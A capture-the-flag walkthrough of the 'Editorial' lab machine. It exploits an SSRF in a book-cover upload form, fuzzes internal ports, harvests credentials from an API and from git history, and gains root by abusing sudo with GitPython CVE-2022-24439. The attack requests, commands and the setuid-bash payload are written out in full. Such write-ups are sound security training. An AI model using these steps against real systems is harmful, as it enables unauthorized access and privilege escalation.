
Week 9. Editorial
TL;DR
This is an Ubuntu 22.04 machine owned by an editorial. It runs a web application where users can upload and publish their books, but the upload form is vulnerable to SSRF. Exploiting it we can disclose credentials for a low-priv SSH shell. Regarding escalation, we find credentials for a lateral movement inside the commit history of an internal Git repository. Then, we abuse sudo configuration and a vulnerable GitPython library (CVE-2022-24439) to get a root shell.
KEYWORDS
SSRF, Git enumeration, GitPython 3.1.29, CVE-2022-24439, sudo escalation.
REFERENCES
https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37 https://www.cvedetails.com/cve/CVE-2022-24439/ https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
ENUMERATION
Port scan.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-30 13:14 EDT
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.054s latency).
Not shown: 57362 closed tcp ports (conn-refused), 8171 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up) scanned in 16.03 seconds
Enumerate the open ports.
> nmap $target -p22,80 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-30 13:15 EDT
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.040s latency).
Scanned at 2024-09-30 13:15:23 EDT for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0dedb29ce253fbd4c8c1196e7580d864 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
| 256 0fb9a7510e00d57b5b7c5fbf2bed53a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
Add to hosts
file and enumerate with Firefox. A editorial's website comes into view, where visitors can upload and publish their books.

Click on "Publish with us", a form to upload files comes into view. Notice there is a box to upload covers from a URL, this looks candidate for SSRF.

To confirm the vulnerability, just start a local HTTP server on your machine and add your IP in the URL box, then click on "Preview".
An HTTP request is received on the local server, so the SSRF vulnerability is confirmed.

USER
Once we have found the SSRF vulnerability, we have to think of ways of exploiting it. For example, we can try to query the local host looking for open ports, as is explained here:https://adipsharif.medium.com/unveiling-the-techniques-of-finding-server-side-request-forgery-ssrf-in-web-applications-with-a-2ac1dd20ef87
Just send a request to http://127.0.0.1 and capture it with Burpsuite, save the request and add the FUZZ tag to the ports field. The resulting file should be something similar to this:
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------23421975678841718971224437855
Content-Length: 361
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload
-----------------------------23421975678841718971224437855
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------23421975678841718971224437855
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------23421975678841718971224437855--
Now fuzz with ffuf
for open ports, use a wordlist of common HTTP ports such as this: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Infrastructure/common-http-ports.txt
> ffuf -w ./common-http-ports.txt -request request.http -request-proto http
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kali/htb/editorial/common-http-ports.txt
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Connection: keep-alive
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
:: Header : Accept: */*
:: Header : Content-Type: multipart/form-data; boundary=---------------------------23421975678841718971224437855
:: Data : -----------------------------23421975678841718971224437855
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------23421975678841718971224437855
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------23421975678841718971224437855--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
1433 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 45ms]
81 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 45ms]
66 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 48ms]
443 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 49ms]
1100 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 47ms]
1241 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 50ms]
457 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 55ms]
1521 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 57ms]
5800 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 61ms]
1434 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 61ms]
1352 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 63ms]
8080 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 63ms]
4001 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 65ms]
3128 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 65ms]
445 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 72ms]
8000 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 72ms]
4002 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 72ms]
6347 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 72ms]
6346 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 72ms]
8443 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 77ms]
4100 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 77ms]
7002 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 294ms]
1080 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 296ms]
7001 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 295ms]
5801 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 295ms]
8888 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 297ms]
2301 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 299ms]
***5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 299ms]***
3000 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 300ms]
5432 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 303ms]
4000 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 306ms]
3306 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 306ms]
1944 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 306ms]
5802 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 540ms]
30821 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 540ms]
:: Progress: [36/36] :: Job [1/1] :: 1 req/sec :: Duration: [0:00:20] :: Errors: 1 ::
Notice there is a response with different size (Size: 51). If you use the SSRF to send a request to http://127.0.0.1:5000 and inspect the response, you'll find a link to an upload path.

And inspecting the traffic with Burpsuite, we see another response just after this one that contains information about several endpoints. In particular, we will check this one /api/latest/metadata/messages/authors

Let's query this endpoint using again the SSRF.

Credentials are disclosed in the response.

Let's use them to open an SSH session on the host.

Which can be used to retrieve the user flag.
ROOT
Start from the SSH session as user dev
and take the opportunity to enumerate the user and the system.
> whoami && id
dev
uid=1001(dev) gid=1001(dev) groups=1001(dev)
> uname -a && cat /etc/os-release
Linux editorial 5.15.0-112-generic #122-Ubuntu SMP Thu May 23 07:48:21 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Enumerate the file system, navigate to the ~/apps
directory, there is a git repository there. Follow this guide to enumerate the git repository: https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37
You can check git status with:
git status
Then check the logs and enumerate the commits with:
git log
git show <commit ID>
Credentials for user prod
are disclosed enumerating the commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
> git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:Username: ***prod\nPassword: 080217_Producti0n_2023!@***\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass
# -------------------------------
Move laterally to user prod

If we enumerate sudo
capabilities for user prod
, we see there is a Python script we can run as root.
> sudo -l
[sudo] password for prod:
Sorry, try again.
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Let's inspect the source code of this Python script.
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Notice it is making use of the Python git library (GitPython). Let's check which version of GitPython is installed.
> pip list | grep GitPython
GitPython 3.1.29
And looking for vulnerabilities affecting this version we find this one: https://www.cvedetails.com/cve/CVE-2022-24439/, and this PoC: https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
Let's create a malicious exploit in bash scripting
> vim /var/tmp/exploit.sh
#!/bin/bash
cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash
And grant it execution permission.
> chmod +x /var/tmp/exploit.sh
Now run the exploit taking advantage of the sudo
configuration.
> sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c '/var/tmp/exploit.sh'"
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c '/var/tmp/exploit.sh' new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
Although some errors are reported, the exploit has been successfully executed, so the only thing left is just open a root shell.

You are root.
Last updated